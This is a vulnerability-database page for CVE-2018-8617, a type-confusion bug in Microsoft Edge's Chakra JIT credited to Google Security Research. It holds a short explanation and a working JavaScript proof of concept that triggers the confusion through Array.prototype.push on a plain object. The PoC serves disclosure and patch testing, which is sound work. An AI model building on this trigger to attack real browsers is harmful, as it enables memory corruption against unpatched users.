Lucene search
K

Microsoft Edge Chakra - InlineArrayPush Type Confusion Exploit

🗓️ 20 Jan 2019 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 45 Views

Microsoft Edge Chakra InlineArrayPush Type Confusion Exploit. Adding numeric property to object causing type confusion

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2018-8617
12 Dec 201800:29
attackerkb
ATTACKERKB
CVE-2018-8618
12 Dec 201800:29
attackerkb
ATTACKERKB
CVE-2018-8624
12 Dec 201800:29
attackerkb
ATTACKERKB
CVE-2018-8629
12 Dec 201800:29
attackerkb
ATTACKERKB
CVE-2018-8583
12 Dec 201800:29
attackerkb
Circl
CVE-2018-8617
18 Jan 201900:00
circl
CNVD
Microsoft Edge Chakra Scripting Engine Memory Corruption Vulnerability (CNVD-2019-07384)
12 Dec 201800:00
cnvd
Check Point Advisories
Microsoft Edge Chakra Scripting Engine Memory Corruption (CVE-2018-8617)
11 Dec 201800:00
checkpoint_advisories
CVE
CVE-2018-8617
12 Dec 201800:00
cve
Cvelist
CVE-2018-8617
12 Dec 201800:00
cvelist
Rows per page
/*
In Chakra, if you add a numeric property to an object having inlined properties, it will start transition to a new type where the space for some of previously inlined properties become for the pointer to the property slots and the pointer to the object array which stores numeric properties. For this reason, when it optimizes an InlineArrayPush instruction which might start transition, it needs to kill corresponding type symbols to prevent type confusion. But it doesn't, so it can lead to type confusion.

PoC:
*/

function opt(a, b) {
    a.b = 2;
    b.push(0);
    a.a = 0x1234;
}

function main() {
    Object.prototype.push = Array.prototype.push;

    for (let i = 0; i < 1000; i++) {
        let a = {a: 1, b: 2};
        opt(a, {});
    }

    let o = {a: 1, b: 2};
    opt(o, o);

    print(o.a);
}

main();

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jan 2019 00:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 37.5
CVSS 27.6
EPSS0.90564
45